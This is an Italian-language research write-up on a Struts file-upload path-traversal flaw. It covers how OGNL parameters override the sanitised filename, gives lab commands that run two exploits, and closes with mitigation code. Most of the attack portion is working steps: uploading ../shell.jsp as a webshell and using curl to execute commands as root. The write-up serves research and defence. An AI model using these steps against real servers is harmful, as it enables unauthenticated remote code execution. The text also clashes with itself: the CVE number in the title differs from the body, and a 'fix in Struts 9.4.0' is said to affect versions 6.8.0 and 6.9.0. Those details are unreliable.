
Ricerca delle opzioni di exploit per CVE-2024-53667 e loro mitigazione
Il difetto risiede nel modo in cui FileUploadInterceptor di Struts passa il nome del file caricato alla classe action.
Normalmente l'interceptor sanifica il nome del file, ma Struts permette anche che qualsiasi parametro multipart venga
elaborato come un'espressione OGNL da ParametersInterceptor. Inviando top.UploadFileName
(o uploadFileName[0] per azioni multi-file) come campo del modulo si chiama direttamente
action.setUploadFileName(value) tramite OGNL, sovrascrivendo quanto impostato dall'interceptor.
L'action quindi scrive il file senza sanificazione del percorso:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
Inviando ../shell.jsp come nome del file si risolve in:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← servito su http://localhost:8080/shell.jsp
Caricare una webshell JSP in quella posizione concede RCE non autenticata.
Ci sono due exploit in fase di ricerca riguardanti questa vulnerabilità:
Il server applicativo Lab Tomcat, usato come bersaglio per entrambi gli exploit, è preso dal primo repository, ed è eseguito in un container (docker o podman).
Un altro exploit è fornito in questo repository come versione Java di poc.py, che
ha origine dalla seconda fonte.
La sottile differenza tra i due exploit è mostrata nella tabella di confronto affiancato alla fine di questo documento.
Entrambi gli exploit sono stati confermati funzionanti su Struts 6.3.0.2.
Tuttavia, quando abbiamo aggiornato Struts a 6.8.0 o 6.9.0, il primo exploit
(CVE-2024-53677.py) ha smesso di funzionare - a causa della correzione in Struts 9.4.0.
Il secondo exploit (StrutsExploitRunner) funziona su tutte le versioni 6.3.0.2, 6.8.0,
6.9.0, a meno che il codice dell'applicazione sfruttabile non venga aggiornato come consigliato
di seguito nella sezione Mitigazione.
Vedi i dettagli tecnici dell'indagine qui sotto.
Clona il primo repository e spostati nella sua directory principale:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Avrai bisogno di docker (originalmente) o podman (usato nella nostra ricerca) per costruire ed eseguire il Lab Tomcat sfruttato:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Esegui gli script di exploit come descritto di seguito in una shell separata dalla directory principale del repository con l'ambiente virtuale Python attivato.
Carica una webshell JSP su /upload.action usando top.UploadFileName per iniettare un nome di file
con path traversal. La webshell hardcoded accetta comandi tramite ?action=cmd&cmd=<comando>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p è il valore passato come top.UploadFileName. Un ../ è sufficiente per uscire dalla directory uploads/
e posizionare il file nella root web.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Nota il parametro obbligatorio action=cmd — la webshell hardcoded lo controlla prima di eseguire
il comando. Senza di esso ottieni Unknown action. invece dell'output.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Prende di mira /uploads.action (la variante multi-file) e imposta uploadFileName[0] tramite OGNL a un
valore di path traversal. Stesso bypass di base, nome del parametro e classe action diversi.
Avrai bisogno di JDK 17 o successivo per costruire ed eseguire l'exploit (il binario java dovrebbe essere nel tuo PATH).
Esegui il seguente comando nella root di questo repository per costruire l'uber-jar eseguibile:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames fissa il nome del file in modo da sapere dove recuperarlo. Senza di esso lo script genera
nomi casuali che vengono stampati nell'output.
La webshell caricata da questa applicazione utilizza l'interfaccia più semplice ?cmd=:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
La soluzione canonica è aggiornare a Struts 7.x, che ha completamente rielaborato il meccanismo di caricamento dei file. Se tale aggiornamento è bloccato (compatibilità con JDK 8, vincoli di dipendenze di terze parti), è possibile applicare la mitigazione seguente.
Questa è la correzione più robusta perché funziona indipendentemente da ciò che passa qualsiasi interceptor. Rimuovi tutte le componenti di percorso dal nome del file prima di costruire il percorso di destinazione, quindi verifica che il percorso risolto sia ancora all'interno della directory prevista.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName() restituisce shell.jsp, quindi anche se top.UploadFileName
consegna una stringa di traversal, viene ridotta a un semplice nome di file prima che avvenga qualsiasi I/O.
Lo stesso schema si applica a UploadsAction — applicalo all'interno del ciclo for su ciascun
uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| Endpoint | /upload.action | /uploads.action |
| Parametro OGNL | top.UploadFileName | uploadFileName[0] |
| Classe Action | UploadAction (singolo file) | UploadsAction (multi-file) |
| Chiamata webshell | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Bug percorso default | nessuno | --paths predefinito è troppo profondo, sovrascrivi con .. |